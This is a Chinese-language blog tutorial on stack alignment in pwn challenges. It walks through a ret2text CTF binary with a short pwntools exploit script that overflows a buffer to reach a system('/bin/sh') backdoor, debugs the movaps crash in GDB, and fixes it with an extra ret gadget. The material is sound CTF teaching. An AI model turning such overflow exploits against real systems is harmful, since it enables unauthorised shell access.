在Pwn中,为什么时长需要栈对齐?

介绍

在 Pwn 的学习中,对于初学者常常会遇到这个问题:
找到了溢出点,并且知道如何溢出,但是不知道为什么自己的Payload并没有成功,Pwntools报错EOF:
在这里插入图片描述
今天趁着有时间,来仔细研究一下为什么会发生这种情况。

知识要点

xmm 寄存器要求内存地址对齐,对齐由内存位数决定,本文中为16字节对齐。

正文

首先我随手拽了一题很简单的ret2text。
FindanotherWay

在这里插入图片描述
可以看到是真的基础的那种。然后我们使用EXP:

from PwnModules import *

binary = './FindanotherWay'
io = process(binary)
#io = remote('node5.anna.nssctf.cn', 28852)
elf = ELF(binary)

Padding = b'A' * (12 + 0x08)

# 0x401230 是本题的backdoor函数。
Payload = Padding + p64(0x401230)

debug(io)
io.sendline(Payload)

io.interactive()

然后就EOF了,为什么呢?
打开GDB,开始逐步调试:
在这里插入图片描述
在还没执行read函数之前是这样的,然后我们调试到下一步。(中间跳过了几步,因为我觉得没啥必要)
在这里插入图片描述
可以看到现在我们的RBX已经被Payload覆盖。
这是即将执行system(‘/bin/sh’)的时候:
在这里插入图片描述
可以看到似乎没有什么异常情况,RDI寄存器的值是/bin/sh,RAX寄存器也为0,而看起来同样的这段就能正确执行
在这里插入图片描述

继续执行,程序会抛出SIGSEGV错误,卡在指令:在这里插入图片描述
在这里插入图片描述
movaps xmmword ptr [rsp + 0x50], xmm0 处。
通过谷歌我们可以得知:
x86 Instruction Set Reference

When the source or destination operand is a memory operand, the operand must be aligned on a 16-byte boundary or a general-protection exception (#GP) is generated.

当操作数或源操作数是内存地址时,内存地址必须为16字节对齐。(不固定,但是这个情况是16字节对齐。)

看看参数部分:[rsp + 0x50], xmm0
在这里插入图片描述
很显然我们的rsp不是16字节对齐的,16字节对齐的意思就是地址末尾以0结束,比如上文中的0x7ffc685c2970,就是以0结尾的。
也就是说,我们需要使我们的RSP地址16字节对齐才能成功执行这段语句:movaps xmmword ptr [rsp + 0x50], xmm0
回过来,我们提到了ret。那么ret的作用是什么呢?
正常函数一般逻辑是这样的:

endbr64
push    rbp
mov     rbp, rsp
lea     rdi, aCongratulation ; "Congratulations , now you find another "...
call    _puts
lea     rdi, aHereIsMyGiftEn ; "Here is my gift , enjoy yourself"
call    _puts
lea     rdi, command    ; "/bin/sh"
mov     eax, 0
call    _system
nop
pop     rbp
retn

返回地址与ret是如何处理的呢?
是这样的:
call和ret的实现逻辑可以大概视为进行了这样的操作(严格来说是错误的,只是实际上实现了差不多的逻辑。):

# call
push rip
jmp addr

# ret
pop rip
jump rip

我们尝试在Payload中加上ret指令。
在这里插入图片描述
可以发现变成了这样,执行了2遍ret。
在这里插入图片描述
并且这个操作不会影响我们的ROP链的执行,因为相当于原地踏步了一次,同时还对齐了RSP地址。
在这里插入图片描述
因此最简单的栈对齐方式就是通过添加一个ret gadget。

相关推荐

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2023-12-07 21:30:04       98 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2023-12-07 21:30:04       106 阅读
  3. 在Django里面运行非项目文件

    2023-12-07 21:30:04       87 阅读
  4. Python语言-面向对象

    2023-12-07 21:30:04       96 阅读

热门阅读

  1. KALI LINUX附录

    2023-12-07 21:30:04       43 阅读
  2. 华为eNSP AR2220路由器配置教程

    2023-12-07 21:30:04       84 阅读
  3. KALI LINUX安全审核

    2023-12-07 21:30:04       44 阅读
  4. 在Ubuntu上搭建RiscV交叉编译环境

    2023-12-07 21:30:04       395 阅读
  5. AISchedule(4):番茄钟功能

    2023-12-07 21:30:04       50 阅读
  6. .Net 字符集与编解码

    2023-12-07 21:30:04       45 阅读
  7. 聊聊springboot的logging.group

    2023-12-07 21:30:04       53 阅读
  8. C++基础 std::Move简说

    2023-12-07 21:30:04       67 阅读
  9. 关于 Static 静态关键字的使用,你了解多少?

    2023-12-07 21:30:04       62 阅读